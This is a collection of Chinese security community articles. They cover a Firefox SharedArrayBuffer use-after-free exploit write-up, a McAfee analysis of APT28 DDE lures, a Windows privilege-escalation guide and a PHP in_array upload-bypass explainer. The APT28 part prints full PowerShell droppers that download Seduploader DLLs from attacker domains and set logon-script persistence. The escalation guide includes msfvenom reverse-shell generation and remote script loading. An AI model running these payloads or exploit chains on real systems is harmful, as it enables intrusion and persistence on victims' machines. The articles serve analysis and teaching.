本文探讨了在结构化克隆算法处理shared array buffer时发生的引用泄漏的问题。同时缺少溢出检查，能被利用来执行任意代码。
分为下面几个部分：
背景，漏洞，利用，总结
我们的漏洞利用的目标是linux平台的Firefox Beta 53。请注意发布版本不受这个bug的影响，因为由于这个bug，shared array
buffer从Firefox 52开始被禁用了，在Firefox53中默认禁用。完整的漏洞利用代码在这里。
**0x01 背景**
这个漏洞和利用需要对于结构化克隆算法和shared array buffer有基本的理解，这些将在本节介绍。
1\. 结构化克隆算法
Mozilla开发者文档描述：
SCA用于Spidermonkey-internal序列化以便在不同的上下文传递对象。与json相反，它能够解决循环引用。在浏览器中，postMessage()使用序列化和反序列化的功能：
postMessage()函数在下面两种场景使用；
1\. 通过window.postMessage()通信时
2\. 和web workers通信时，其是并行执行JavaScript代码的捷径。
一个worker的简单流程如下：
相应的worker脚本worker_script.js能通过注册一个onmessage监听器接收obj：
在不同的窗口通信的过程是类似的。在这些情况中，接收脚本执行于不同的全局上下文中，并且无法访问发送者上下文的对象。因此对象需要传递并且在接收脚本的上下文中重新创建。为了实现这个，SCA将在发送者的上下文中序列化obj，并在接收者的上下文中反序列化，从而创建了个拷贝。
SCA的代码能在js/src/vm/StructuredClone.cpp。两个主要的结构定义：JSStructuredCloneReader和JSStructuredCloneWriter。JSStructuredCloneReader在接收线程上下文处理反序列化对象，JSStructuredCloneWriter在发送者线程上下文中处理序列化对象。处理序列化对象的主要函数是JSStructuredCloneWriter::startWrite()：
根据对象的类型，如果是原始类型直接序列化，或者基于对象类型调用函数进一步序列化。这些函数确保了任何属性或者数组元素被递归序列化了。这种情况下当obj是一个SharedArrayBufferObject并且函数执行最终会调用JSStructuredCloneWriter::writeSharedArrayBuffer()。
最后，如果提供的既不是原始类型也不是序列化的对象，它将抛出错误。反序列化使用相同方式，它将序列化作为输入、创建新的对象并为他们分配内存。
2\. Shared array buffer
Shared array
buffer提供了一种方式来创建共享内存，其能跨上下文传递。他们通过SharedArrayBufferObjectC++类实现，其继承于NativeObject，是表示大部分JavaScript对象的基类。下面是抽象描述（如果你看源代码，你将看见它不像这个这么定义明确，但是这将帮助你理解下文描述的内存布局）：
Rawbuf是一个SharedArrayRawBuffer对象的指针，其存储底层的内存缓冲区。当通过postMessage()发送时，SharedArrayBufferObjects将在接收者上下文中重新创建新的对象。另外，SharedArrayRawBuffers在不同上下文之间共享。因此SharedArrayBufferObject的单一拷贝有他们的rawbuf属性指向相同的SharedArrayRawBuffer对象。为了内存管理，SharedArrayRawBuffer保存了一个引用计数器refcount_：
引用计数器refcount_记录了有多少SharedArrayBufferObjects的引用。当序列化一个SharedArrayBufferObject时，在JSStructuredCloneWriter::writeSharedArrayBuffer()它会递增，并且在SharedArrayBufferObject终结中递减：
然后SharedArrayRawBuffer::dropReference()将检查是否有更多的引用，并释放底层内存。
**0x02 漏洞**
有两种bug，单独都不太可能利用，但是组合起来能执行任意代码。
1\. SharedArrayRawBuffer::refcount_的整型溢出
SharedArrayRawBuffer的refcount_属性没有整型溢出保护：
在反序列化时在JSStructeredCloneWriter::writeSharedArrayBuffer调用这个函数：
代码简单的递增了refcount_，并且SharedArrayRawBuffer::addReference()没有验证它溢出了并变成了0。回顾下refcount_，被定义成uint32_t整型，意味着上面的代码需要触发2^32次才能溢出。在这里的主要问题是每次调用postMessage()将创建一个SharedArrayBufferObject的拷贝，从而分配0x20字节的内存。Firefox目前堆的限制是4GB，溢出需要128G，使得不可能被利用。
2\. 在SCA中的引用泄漏
然而不幸的是，有另一个bug使得我们能绕过内存限制。回顾下postMessage()首先序列化，然后反序列化对象。在反序列化过程中创建对象的拷贝，但是refcount_在序列化期间已经递增了。如果postMessage()在序列化SharedArrayBufferObject之后并在反序列化之前失败，将不创建SharedArrayBufferObject的拷贝，但是refcount_能递增。
看下序列化，有很简单的方式使其失败：
如果被序列化的对象既不是原始类型也不是SCA支持的对象，序列化将抛出一个JS_SCERR_UNSUPPORTED_TYPE的错误，将不会发生反序列化（包括内存分配）。下面是简单的PoC，能递增refcount_但不拷贝SharedArrayBuffer：
一个数组包含一个SharedArrayBuffer和一个序列化的函数。SCA首先序列化数组，然后递归序列化SharedArrayBuffer（从而递增它的原始缓冲区的refcount_），最终是函数。然而，函数序列化不支持，将抛出错误，不允许创建对象拷贝的反序列化过程。现在refcount_是2，但是只要一个SharedArrayBuffer指向原始缓冲区。使用这个引用泄漏refcount_能不分配任何内存实现溢出。
**0x03 利用**
虽然内存限制解决了，但是触发bug需要调用2^32次postMessage()。在现代机器上将要花几个小时执行。为了一个合理的执行时间，bug需要更快的触发。
1\. 提高性能
简单的方法是每次调用postMessage()序列化多个sab：
不幸的是，SCA支持反向引用，将不会增长refcount_超过1，而是作为第一个的反向引用。因此sab的拷贝是需要的。实际上，他们也能使用postMessage()创建：
一个数组包含一个sab，被发送给脚本自身，并且当被接收时，被添加到存在的拷贝数组中。现在在拷贝中有两种不同的对象指向相同的SharedArrayRawBuffer。通过重复拷贝拷贝的数组，我们能获得大量的拷贝。在我们的漏洞利用中，我们创建了0x10000个拷贝（只需要16次调用postMessage()）。然后我们使用这些拷贝完成引用泄漏，使得调用postMessage的次数达到2^32/0x10000=65536。
进一步的性能提高能通过多个web workers充分利用所有的CPU核心并行利用引用泄漏。每个worker接收一个0x10000个shared array
buffer的拷贝，然后在一个循环中执行引用泄漏：
一旦执行了需要的次数，将报告给主脚本已完成你。如果所有的worker已经完成，refcount_将溢出，保存值为1.通过删除一个sab，refcount_将变为0，共享原始缓冲区将在下个垃圾回收的时候被释放。在漏洞利用中，一个SharedArrayBufferObject被垃圾回收将继而调用dropReference()。这将影响将引用计数置为0，将触发原始缓冲区的释放：
Do_gc()的一种实现在这里。
此时，SharedArrayRawBuffer被释放了，但是引用还一直在sab中，允许对释放的内存读写访问，导致UAF利用。
2\. 将UAF变为读写原语
因为我们有了释放的内存的引用，我们能分配大量的对象以便在内存中分配目标对象给我们的引用。分配器通过mmap请求更多的内存，将返回SharedArrayRawBuffer的munmaped的内存。为了将这变为ArrayBuffer对象的任意读写原语。这些对象包含真实数组内容的内存区域的一个指针。如果一个ArrayBuffer分配在之前释放的内存中，指针将被覆盖指向我们想要的任意内存。
为了做到这个，我们分配0x60个ArrayBuffer。这是底层缓冲区的最大值，将在ArrayBuffer头后直接内敛存储。将每个都标记0x13371337值，然后在第一次发生时搜索那个值，我们能找到ArrayBuffer的位置：
此时，一些缓冲区应该分配在之前释放的SharedArrayRawBuffer内存中。使用那个引用我们搜索0x13371337。一旦找到，我们用另一个值0x13381338标记并保存偏移：
我们遍历所有分配的ArrayBuffer，搜索0x13381338以便找到确切的ArrayBuffer：
最后buffers[ptr_access_idx]是我们能控制（通过加减一些偏移修改sab_view[ptr_overwrite_idx]）的ArrayBuffer的内存。
回顾下数组内容位于头后面，意味着头开始于sab_view[ptr_overwrite_idx-16]。指向数组缓冲区的指针能通过写sab_view[ptr_overwrite_idx-8]
和
sab_view[ptr_overwrite_idx-7]来覆盖（写64位的指针为两个32位的值）。一旦指针被覆盖了，buffers[ptr_access_idx][0]允许读写被指定位置的32位的值。
3\. 实现任意代码执行
一旦能任意读写内存，我们需要一种控制RIP的方法。因为libxul.so包含了大部分的浏览器的代码，包括Spidermonkey（没有使用全部的RELRO编译），全局偏移表（GOT）能被覆盖用来改变代码执行。
首先，我们需要泄漏libxul.so的位置。我们简单的泄漏任意原生函数（如Data.now()）的指针。函数内部使用JSFunction对象表示，并存储了原生实现的地址。为了泄漏那个指针，函数被设置为ArrayBuffer（能读写内存）的一个属性。接着一串指针，原生指向libxul.so的指针能被泄漏。我们不详细讨论对象属性的内存组织，因为在Phrack
paper中有完美的描述。。现在我们有了libxul.so的Date.now()的地址，我们能硬编码Firefox
beta53中的libxul.so的偏移，以便得到GOT的地址。
最后，我们使用system()（同样使用libxul.so泄漏）覆盖GOT中的一个函数。在利用中，我们使用Uint8Array.copyWithin()继而针对我们控制的字符串调用memmove，因此覆盖memmove@GOT将执行system：
这个技术是受到saelo的启发“exploit for the feuerfuchs challenge from the 33C3 CTF. “。
运行利用，弹出计算器：
**0x04 总结**
这个溢出的修复很快，在commit d4b0fe7948中实现了。代码添加了捕获溢出，并检测到报错。在commit c86b9cb593中修复了引用泄漏。
这个bug的触发原本估计要4个小时才能溢出。然而，使用多个worker能加快进程，在8核机器上只要大约6-7分钟能稳定的弹出计算器。完整的利用能在这找到。 | 社区文章 |
# 【技术分享】黑客组织APT28利用DDE漏洞与纽约袭击事件发动攻击
|
##### 译文声明
本文是翻译文章，文章来源：mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：150RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
在我们监控APT28威胁组织的攻击活动的过程中，McAfee Advanced Threat
Research分析人员发现了一个恶意的Word文档，该文档似乎利用了我们之前报道过的Microsoft
Office动态数据交换（DDE）技术。这个文件的发现，标志着APT28已经开始利用这种安全漏洞从事间谍活动。通过将PowerShell与DDE结合使用，攻击者就能够在受害者系统上执行任意代码，无论该系统是否启用了宏指令。
**样本详细分析**
APT28，又名Fancy
Bear，最近开始利用各种不同的话题作为诱饵。就本例来说，它利用了纽约市最近发生的恐怖袭击事件。这次使用的文件本身虽然是空白的，不过一旦打开，它就会联系控制服务器，将恶意软件Seduploader第一个阶段的攻击代码投放到受害者的系统上。
在本案例中，用于传播Seduploader的域名创建于10月19日，它比创建Seduploader软件本身的日期还要早11天。
本案例中发现的诱饵文档的相关数据如下所示：
**文件名称：IsisAttackInNewYork.docx**
**Sha1：1c6c700ceebfbe799e115582665105caa03c5c9e**
**创建日期：2017-10-27T22:23:00Z**
该文档利用了Office产品中最近被曝光的DDE技术，该技术能够通过Windouws的命令行命令去执行PowerShell脚本，这实际上将运行两个命令。第一个命令如下所示：
C:ProgramsMicrosoftOfficeMSWord.exe........WindowsSystem32WindowsPowerShellv1.0powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString(‘hxxp://netmediaresources[.]com/config.txt’);powershell -enc $e #.EXE
第二个PowerShell命令是经过了Base64编码的，它是从来自远程服务器的config.txt文件中找到的。解码之后，该命令如下所示：
$W=New-Object System.Net.WebClient;
$p=($Env:ALLUSERSPROFILE+”vms.dll”);
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$W.DownloadFile(“hxxp://netmediaresources[.]com/media/resource/vms.dll “,$p);
if (Test-Path $p){
$rd_p=$Env:SYSTEMROOT+”System32rundll32.exe”;
$p_a=$p+”,#1″;
$pr=Start-Process $rd_p -ArgumentList $p_a;
$p_bat=($Env:ALLUSERSPROFILE+”vms.bat”);
$text=’set inst_pck = “%ALLUSERSPROFILE%vms.dll”‘+”`r`n”+’if NOT exist %inst_pck % (exit)’+”`r`n”+’start rundll32.exe %inst_pck %,#1’
[io.File]::WriteAllText($p_bat,$text)
New-Item -Path ‘HKCU:Environment’ -Force | Out-Null;
New-ItemProperty -Path ‘HKCU:Environment’ -Name ‘UserInitMprLogonScript’ -Value “$p_bat” -PropertyType String -Force | Out-Null;
}
上面的PowerShell脚本会通过下面的URL来下载Seduploader：
hxxp://netmediaresources[.]com/media/resource/vms.dll
该Seduploader样本具有以下特征：
**文件名称：vms.dll**
**Sha1：4bc722a9b0492a50bd86a1341f02c74c0d773db7**
**编译时间：2017-10-31 20:11:10**
**控制服务器：webviewres[.]net**
**第一阶段**
文件将下载Seduploader第一阶段的侦察植入版本，它的作用是将受感染系统的基本主机信息提供给攻击者。如果该系统正好是攻击者感兴趣的目标，通常会进一步安装X-Agent或Sedreco。
根据各种公开的报告来看，APT28将Seduploader用于第一阶段的payload已经有些年头了。通过分析这次攻击活动中发现的最新payload的代码结构，我们发现，其与APT28以前使用的Seduploader样本完全吻合。
我们发现，这次攻击活动中的控制服务器的域名为webviewres[.]net，它与APT28过去的域名注册手法是非常一致的：伪装成一个看上去好像很正规的合法机构。
这个域名于10月25日注册，比payload和恶意文件的创建日期早了好几天。这个域名在10月29日首次激活，这个时间节点正好比这个版本的Seduploader的编译时间早了那么几天。
目前，该域名的IP地址为185.216.35.26，并托管在域名服务器ns1.njal.la和ns2.njal.la上面。
此外，McAfee的研究人员还发现了一个相关的样本，特征如下所示：
**文件名称：secnt.dll**
**Sha1: ab354807e687993fbeb1b325eb6e4ab38d428a1e**
**编译日期：2017-10-30 23:53:02**
**控制服务器：satellitedeluxpanorama[.]com. （该域名使用的域名服务器同上。）**
**第二阶段**
上面的样本很可能隶属于同一次入侵活动。根据我们的分析，它使用了相同的技术和payload。因此，我们可以断定，这次涉及DDE漏洞文档的攻击活动是从10月25日开始的。
其中，secnt.dll使用的域名satellitedeluxpanorama[.]com在11月5日被解析为89.34.111.160。恶意文档68c2809560c7623d2307d8797691abf3eafe319a负责投递Seduploader的payload（secnt.dll）。它的原始文件名是SabreGuardian2017.docx。这个文档是在10月27日创建的。该文档下载自hxxp://sendmevideo[.]org/SaberGuardian2017.docx。此外，该文件会调用sendmevideo[.]org/dh2025e/eh.dll来下载Seduploader（ab354807e687993fbeb1b325eb6e4ab38d428a1e）。
这个文档中嵌入的PowerShell命令如下所示：
$W=New-Object System.Net.WebClient;
$p=($Env:ALLUSERSPROFILE+”mvdrt.dll”);
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$W.DownloadFile(“http://sendmevideo.org/dh2025e/eh.dll”,$p);
if (Test-Path $p){
$rd_p=$Env:SYSTEMROOT+”System32rundll32.exe”;
$p_a=$p+”,#1″;
$pr=Start-Process $rd_p -ArgumentList $p_a;
$p_bat=($Env:ALLUSERSPROFILE+”mvdrt.bat”);
$text=’set inst_pck = “%ALLUSERSPROFILE%mvdrt.dll”‘+”`r`n”+’if NOT exist %inst_pck % (exit)’+”`r`n”+’start rundll32.exe %inst_pck %,#1’
[io.File]::WriteAllText($p_bat,$text)
New-Item -Path ‘HKCU:Environment’ -Force | Out-Null;
New-ItemProperty -Path ‘HKCU:Environment’ -Name ‘UserInitMprLogonScript’ -Value “$p_bat” -PropertyType String -Force | Out-Null;
}
文件vms.dll（4bc722a9b0492a50bd86a1341f02c74c0d773db7）与secnt.dll（
ab354807e687993fbeb1b325eb6e4ab38d428a1e）的相似度为99％，这表明其中的代码几乎完全相同，所以，它们极有可能都隶属于同一次攻击活动。换句话说，这两个DLL参与了这次攻击活动。此外，根据我们的代码分析结果来看，样本4bc722a9b0492a50bd86a1341f02c74c0d773db7与DLL植入物8a68f26d01372114f660e32ac4c9117e5d0577f1具有99％的相似度，而后者参与了以[Cy
Con U.S](http://aci.cvent.com/events/2017-international-conference-on-cyber-conflict-cycon-u-s-/event-summary-004d598d31684f21ac82050a9000369f.aspx)网络安全会议为诱饵的攻击活动。
不过，这两次攻击活动中采用的攻击技术有所不同：以Cy Con
U.S会议为诱饵的攻击活动，是通过文档文件来执行恶意的VBA脚本；而这次以恐怖袭击为诱饵的攻击活动，则使用文档文件中的DDE执行PowerShell脚本，并从分发站点远程获取payload。但是，这两次攻击活动所使用的payload却是相同的。
**
**
**小结**
APT28是一个实力雄厚的威胁组织，它不仅利用最近的热点事件来引诱潜在的受害者上钩，而且还能够迅速采用新的漏洞技术来增加其成功的可能性。由于Cycom
U.S活动已经在媒体上曝光，所以APT28组织可能不再继续使用过去VBA脚本，转而通过DDE技术来绕过网络防御。最后，从APT28利用近期的国内事件和美国针对俄罗斯的军事演习这两点来看，APT28非常擅长利用地缘政治事件为诱饵来发动网络攻击。
**
**
**样本指标**
**SHA1哈希值**
ab354807e687993fbeb1b325eb6e4ab38d428a1e (vms.dll, Seduploader implant)
4bc722a9b0492a50bd86a1341f02c74c0d773db7 (secnt.dll, Seduploader implant)
1c6c700ceebfbe799e115582665105caa03c5c9e (IsisAttackInNewYork.docx)
68c2809560c7623d2307d8797691abf3eafe319a (SaberGuardian.docx)
**域名**
webviewres[.]net
netmediaresources[.]com
**IP地址**
185.216.35.26
89.34.111.160
**McAfee将其标记为RDN/Generic Downloader.x。** | 社区文章 |
我要实现一个漏洞扫描，然后把扫描到的漏洞报告和修复建议 存入到数据库中，这个是有程序实现的，不是通过burpsuite工具手动操作，
就是想通过程序自动扫描漏洞，并把结果存入数据库，不需要人工干预。 | 社区文章 |
## 文章前言
在后渗透测试阶段，权限提升是一个绕不开的话题，其中"系统内核溢出提权"因其利用便捷成为了最为常用的方法，在使用该方法提权时我们只需要去查看目标系统中打了那些系统补丁，之后去找补丁的"互补"补丁，并利用对应的提权类的漏洞实现权限提升，本篇文章主要围绕"系统内核溢出提权"的一些方法、思路进行简易介绍~
## 权限查看
在获取到目标系统的shell后，我们需要先确认以下当前用户以及用户权限，这一点可以通过在shell中输入"whoami"以及"whoami
/groups"来确定：
whoami
whoami /groups
从上面的显示结果可以看到当前用户为" win-op8vb0nlure\al1ex",权限为"Mandatory Label\Medium Mandatory
Level"，而这里的"Mandatory Label\Medium Mandatory
Level"是一个标准的普通用户权限，而我们再提权阶段要做得就是将此处的"Medium Mandatory Level"提升为"High Mandatory
Level"。
## 补丁查询
利用系统溢出漏洞进行提权的关键是通过查看系统的补丁信息来找寻缺失的、可以利用来提权的补丁进行提权，下面介绍几种常见的补丁查询思路与方法
### 系统命令查看
在Windows操作系统中我们可以通过执行systeminfo来查看目标机器上安装的补丁信息：
systeminfo
从上图可以看到这里安装了三个补丁：
* [01]: KB2534111
* [02]: KB2999226
* [03]: KB976902
同时我们也可以通过WMIC来快速查看当前系统安装的补丁信息(尤其是在域控上)：
wmic qfe get Caption,Description,HotFixID,InstalledOn
如果想要查询系统是否安装某一个特定的补丁，可以通过以下命令进行简易查询：
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /c:"KB2534111" /c:"KB976902"
既然已经确定了当前系统的补丁信息，那么后续如何利用呢？当然是去查找缺失的、可以利用的补丁了！但是怎么找呢？不可能在茫茫大海中找吧？当然不是，这里推荐一个辅助网站：<https://bugs.hacking8.com/tiquan/>
我们可以在"补丁号"选项框中输入当前系统的补丁信息，之后进行查询来获取当前系统的缺失的、可以利用的补丁信息，这里以上面查询的补丁信息为例：
之后可以根据补丁来推荐相关的漏洞利用EXP，不过在使用EXP时还需要主要影响的操作系统：
关于提权类的EXP，这里推荐一个项目：<https://github.com/Al1ex/Heptagram/tree/master/Windows/Elevation>
该项目源自SecWiki维护的Windows-kernel-exploit，但是由于原作者不再更新与维护所以后期由笔者重新进行构建维护，同时也涵盖了Bypass
UAC系列，目前还在不断的更新与完善中，同时该项目也主要用于收集网络上公开的各大有价值的漏洞EXP/POC~
### MSF框架查看
MSF框架中自带提权辅助功能模块——post/windows/gather/enum_pathes，该模块会根据漏洞编号快速查找目标系统中的补丁信息，下面以目标主机为例做一个简单的演示：
首先，我们需要获取目标主机的一个Shell，这里我们再测试环境中直接通过MSFvenom来生成Payload：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f exe > shell.exe
之后在MSF中设置监听：
之后再目标主机中执行EXE
之后成功返回会话：
之后再Meterpreter中执行如下命令即可查看系统补丁信息(老版本的会给出可用的EXP，MSF5好像不提供了)：
run post/windows/gather/enum_patches
于此同时，我们也可以通过执行以下命令来查看目标系统可用的漏洞，之后探寻提权EXP:
run post/multi/recon/local_exploit_suggester
### Empire内置模块
Empire框架也提供了关于内核溢出漏洞提权的漏洞利用方法，下面进行简单演示：
usemodule privesc/powerup/allchecks
execute
PS:总体来看效果不是很理想，不如MSF~
## PowerShell脚本
Sherlock(<https://github.com/rasta-mouse/Sherlock)是一个在Windows下用于本地提权的PowerShell脚本，目前包含了以下漏洞：>
* MS10-015 : User Mode to Ring (KiTrap0D)
* MS10-092 : Task Scheduler
* MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
* MS13-081 : TrackPopupMenuEx Win32k NULL Page
* MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
* MS15-051 : ClientCopyImage Win32k
* MS15-078 : Font Driver Buffer Overflow
* MS16-016 : 'mrxdav.sys' WebDAV
* MS16-032 : Secondary Logon Handle
* MS16-034 : Windows Kernel-Mode Drivers EoP
* MS16-135 : Win32k Elevation of Privilege
* CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Priv Esc
该工具的利用也是较为简单，首先下载项目到本地，之后再终端调用Sherlock(获取webshell的主机中直接上传即可)：
Import-Module .\Sherlock.ps1
当然也可以远程加载：
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
之后执行以下命令来列举当前系统中所有可利用的漏洞：
Find-AllVulns
当然你也可以搜索某一个特定漏洞，例如：
Find-CVE20177199
根据Sherlock的说明目前CS已经可以实现" 导入模块——>查询单一漏洞——>直接提权 "的一套流程了，下面是Github中的实例：
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are Win7-x64\Rasta
beacon> powershell-import C:\Users\Rasta\Desktop\Sherlock.ps1
[*] Tasked beacon to import: C:\Users\Rasta\Desktop\Sherlock.ps1
[+] host called home, sent: 2960 bytes
beacon> powershell Find-MS14058
[*] Tasked beacon to run: Find-MS14058
[+] host called home, sent: 20 bytes
[+] received output:
Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Appears Vulnerable
beacon> elevate ms14-058 smb
[*] Tasked beacon to elevate and spawn windows/beacon_smb/bind_pipe (127.0.0.1:1337)
[+] host called home, sent: 105015 bytes
[+] received output:
[*] Getting Windows version...
[*] Solving symbols...
[*] Requesting Kernel loaded modules...
[*] pZwQuerySystemInformation required length 51216
[*] Parsing SYSTEM_INFO...
[*] 173 Kernel modules found
[*] Checking module \SystemRoot\system32\ntoskrnl.exe
[*] Good! nt found as ntoskrnl.exe at 0x0264f000
[*] ntoskrnl.exe loaded in userspace at: 40000000
[*] pPsLookupProcessByProcessId in kernel: 0xFFFFF800029A21FC
[*] pPsReferencePrimaryToken in kernel: 0xFFFFF800029A59D0
[*] Registering class...
[*] Creating window...
[*] Allocating null page...
[*] Getting PtiCurrent...
[*] Good! dwThreadInfoPtr 0xFFFFF900C1E7B8B0
[*] Creating a fake structure at NULL...
[*] Triggering vulnerability...
[!] Executing payload...
[+] host called home, sent: 204885 bytes
[+] established link to child beacon: 192.168.56.105
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 8 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)
PS：关于该Powershell的利用还有很多单一漏洞的查询，读者可以根据源码进行分析~
### Windows Exploit Suggester
#### 工具介绍
Windows-Exploit-Suggester(<https://github.com/GDSSecurity/Windows-Exploit-Suggester>
)是受Linux_Exploit_Suggester的启发而开发的一款提权辅助工具，，它是用python开发而成，运行环境是python3.3及以上版本，且必须安装xlrd，其主要功能是通过比对systeminfo生成的文件，从而发现系统是否存在未修复漏洞。
#### 工具原理
Windows-Exploit-Suggester通过下载微软公开漏洞库到本地“生成日期+mssb.xls”文件，然后根据操作系统版本，跟systeminfo生成的文件进行比对。微软公开漏洞库下载地址：<http://www.microsoft.com/en-gb/download/confirmation.aspx?id=36982>
。同时此工具还会告知用户针对于此漏洞是否有公开的exp和可用的Metasploit模块。
#### 工具安装
安装依赖xlrd:
pip install xlrd
之后下载Windows-Exploit-Suggester项目到本地：
git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester
#### 更新漏洞库
之后执行以下命令，自动从微软官网下载安全公告数据库，下载的文件会自动保存在当前目录下：
./windows-exploit-suggester.py --update
#### 获取系统信息
之后在目标系统中获取systeminfo信息并将其保存到一个txt文件夹中：
systeminfo > sysinfo.txt
#### 系统漏洞检索
之后将目标系统中的sysinfo.txt文件复制出来，到安装有Windows-Exploit-Suggester的主机上去执行如下命令，查询系统中存在的可用漏洞信息，这里的参数d为指定漏洞库，也就是之前跟新漏洞库后的xlsx文件：
./windows-exploit-suggester.py -d 2020-09-09-mssb.xls -i sysinfo.txt
总体上效果还不错，挺让人满意的，不过该工具也有一个缺点——更新数据库后下载的数据库最新的2017年的，有点局限
## 补丁列表
最后给出一个常用的补丁列表信息，可能数据有点成旧哈~
#Security Bulletin #KB #Description #Operating System
CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008)
MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows 7/2008/2003/XP)
MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)
MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)
MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)
MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)
MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)
MS15-097 [KB3089656] [remote code execution] (win8.1/2012)
MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012)
MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012)
MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012)
MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8)
MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8)
MS14-070 [KB2989935] [Kernel Driver] (2003)
MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8)
MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)
MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8)
MS14-002 [KB2914368] [NDProxy] (2003/XP)
MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)
MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)
MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8)
MS12-042 [KB2972621] [Service Bus] (2008/2012/win7)
MS12-020 [KB2671387] [RDP] (2003/2008/7/XP)
MS11-080 [KB2592799] [AFD.sys] (2003/XP)
MS11-062 [KB2566454] [NDISTAPI] (2003/XP)
MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP)
MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista)
MS10-092 [KB2305420] [Task Scheduler] (2008/7)
MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5)
MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista)
MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP)
MS09-050 [KB975517] [Remote Code Execution] (2008/Vista)
MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0)
MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista)
MS08-068 [KB957097] [Remote Code Execution] (2000/XP)
MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista)
MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000)
MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003)
MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003) | 社区文章 |
# PHP函数默认设置引发的安全问题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
暑假不学习，和咸鱼并无区别。今天刚好在发掘一下默认配置可能存在问题和一些容易触发漏洞的php函数，这里做一个总结。
## in_array()函数
### 相关知识
查阅PHP手册：
(PHP 4, PHP 5, PHP 7)
in_array() — 检查数组中是否存在某个值
大体用法为：
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
而官方的解释也很有意思：
大海捞针，在大海（haystack）中搜索针（needle），如果没有设置 strict 则使用宽松的比较。
### 漏洞问题
我们注意到
bool $strict = FALSE
宽松比较如果不设置，默认是FALSE，那么这就会引来安全问题
如果设置`$strict = True`:则 in_array() 函数还会检查 needle 的类型是否和 haystack 中的相同。
那么不难得知，如果不设置，那么就会产生弱类型的问题
例如：
<?php
$whitelist = range(1, 24);
$filename='sky';
var_dump(in_array($filename, $whitelist));
?>
此时运行结果为false
但是如果我们将filename改为1sky
成功利用弱比较，而绕过了这里的检测
### 典型案例
上面的实例已说明了问题，其实这个问题是存在于上次文件的检查的
在php-security-calendar-2017-Wish List中
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;
public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}
public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}
$challenge = new Challenge($_FILES['solution']);
我们不难看出，代码的意图上是想让我们只传数字名称的文件的
而我们却可以用`1skyevil.php`这样的名称去bypass
由于没有修改in_array的默认设置，而导致了安全问题
可能这比较鸡肋，但在后续对文件的处理中，前一步产生了非预期，可能会直接影响后一步的操作
### 漏洞修复
将宽松比较设为true即可
可以看到，搜索的时候，直接要求前两个参数均为array
此时已经不存在弱比较问题
## filter_var()函数
### 相关知识
(PHP 5 >= 5.2.0, PHP 7)
filter_var — 使用特定的过滤器过滤一个变量
